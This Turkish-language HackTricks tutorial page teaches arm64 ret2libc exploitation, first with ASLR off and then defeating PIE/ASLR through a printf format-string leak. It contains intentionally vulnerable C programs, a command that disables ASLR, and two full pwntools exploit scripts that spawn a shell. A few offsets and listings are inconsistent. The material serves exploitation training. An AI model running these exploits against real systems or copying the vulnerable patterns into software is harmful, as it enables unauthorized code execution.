Ret2lib + Printf leak - arm64

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

Ret2lib - ROP ile NX atlatma (ASLR yok)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Canary olmadan derleyin:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Offset bul

x30 offset

pattern create 200 ile bir desen oluşturarak, bunu kullanıp pattern search $x30 ile offset'i kontrol ettiğimizde offset'in 108 (0x6c) olduğunu görebiliriz.

Dissassembled ana fonksiyona baktığımızda, printf'ye doğrudan atlamak için talimatın üzerine jump yapmak istediğimizi görebiliriz; bu talimatın binary'nin yüklendiği yerden offset'i 0x860'dir:

System ve /bin/sh stringini bul

ASLR devre dışı olduğu için, adresler her zaman aynı olacak:

Gadget'leri bul

x0'da /bin/sh stringinin adresine ve system'i çağırmamız gerekiyor.

Rooper kullanarak ilginç bir gadget bulundu:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Bu gadget, $sp + 0x18 adresinden x0'ı yükleyecek ve ardından sp'den x29 ve x30 adreslerini yükleyip x30'a atlayacak. Bu nedenle bu gadget ile ilk argümanı kontrol edebilir ve ardından sisteme atlayabiliriz.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX, ASL & PIE atlatma, yığın üzerindeki printf leak'leri ile

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

canary olmadan derleyin:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE ve ASLR ama canary yok

  • Round 1:

  • Stack'ten PIE sızıntısı

  • Ana fonksiyona geri dönmek için bof'u kullan

  • Round 2:

  • Stack'ten libc sızıntısı

  • ROP: ret2system

Printf sızıntıları

Printf çağrısından önce bir kesme noktası ayarlayarak, stack'te binary'e geri dönmek için adresler ve ayrıca libc adresleri olduğunu görebiliriz:

Farklı offset'ler deneyerek, %21$p bir binary adresi sızdırabilir (PIE bypass) ve %25$p bir libc adresi sızdırabilir:

Sızdırılan libc adresini libc'nin temel adresinden çıkardığımızda, sızdırılan adresin temel ile olan offset'inin 0x49c40 olduğunu görebiliriz.

x30 offset

Önceki örneği görün, çünkü bof aynıdır.

Gadget'ları Bul

Önceki örnekte olduğu gibi, x0'da /bin/sh dizisinin adresine sahip olmamız ve system'i çağırmamız gerekiyor.

Rooper kullanarak başka ilginç bir gadget bulundu:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Bu gadget, $sp + 0x78 adresinden x0'ı yükleyecek ve ardından sp'den x29 ve x30 adreslerini yükleyip x30'a atlayacak. Bu nedenle bu gadget ile ilk argümanı kontrol edebilir ve ardından sisteme atlayabiliriz.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

Last updated